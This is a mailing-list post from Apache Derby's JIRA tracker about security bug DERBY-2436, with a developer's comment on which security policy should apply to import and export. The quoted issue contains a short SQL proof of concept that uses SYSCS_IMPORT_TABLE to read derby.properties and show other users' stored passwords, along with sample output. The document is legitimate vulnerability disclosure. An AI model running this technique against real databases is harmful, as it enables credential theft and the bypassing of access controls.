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Posted to derby-dev@db.apache.org by "Mike Matrigali (JIRA)" <ji...@apache.org> on 2007/07/05 22:32:04 UTC

[jira] Updated: (DERBY-2436) SYSCS_IMPORT_TABLE can be used to read derby files

     [ https://issues.apache.org/jira/browse/DERBY-2436?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mike Matrigali updated DERBY-2436:
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I am not sure how this maps to specific security policies.  What do we do with user java functions/procedures?  How do we handle
security for those procedures reading/writing database files.  

It seems like import should read files using no policy that has been granted to derby for database processing, and similarly 
export should write files using no policy that has been granted to derby for database processing.  

> SYSCS_IMPORT_TABLE can be used to read derby files
> --------------------------------------------------
>
>                 Key: DERBY-2436
>                 URL: https://issues.apache.org/jira/browse/DERBY-2436
>             Project: Derby
>          Issue Type: Bug
>          Components: Security
>    Affects Versions: 10.1.2.1, 10.2.1.6, 10.3.1.0
>            Reporter: Daniel John Debrunner
>            Priority: Critical
>
> There are no controls over which files SYSCS_IMPORT_TABLE can read, thus allowing any user that has permission to execute the procedure to try and access information that they have no permissions to do so. E.g. even with the secure-by-default network server I can execute three lines of SQL to view to contents of derby.properties, thus seeing passwords of other users, or the address of the ldap server.
> create table t (c varchar(32000));
> CALL SYSCS_UTIL.SYSCS_IMPORT_TABLE(NULL, 'T', 'derby.properties', NULL, NULL, 'ISO8859_1', 0);
> ij> select * from T;
> C
> ----------------------------------------------
> derby.connection.requireAuthentication=true
> derby.authentication.provider=BUILTIN
> derby.user.SA=sapwd
> derby.user.MARY=marypwd
> Also a similar trick could be attempted against the actual data files, allowing a user to attempt to bypass grant/revoke security, especially no that binary data can be exported/imported.

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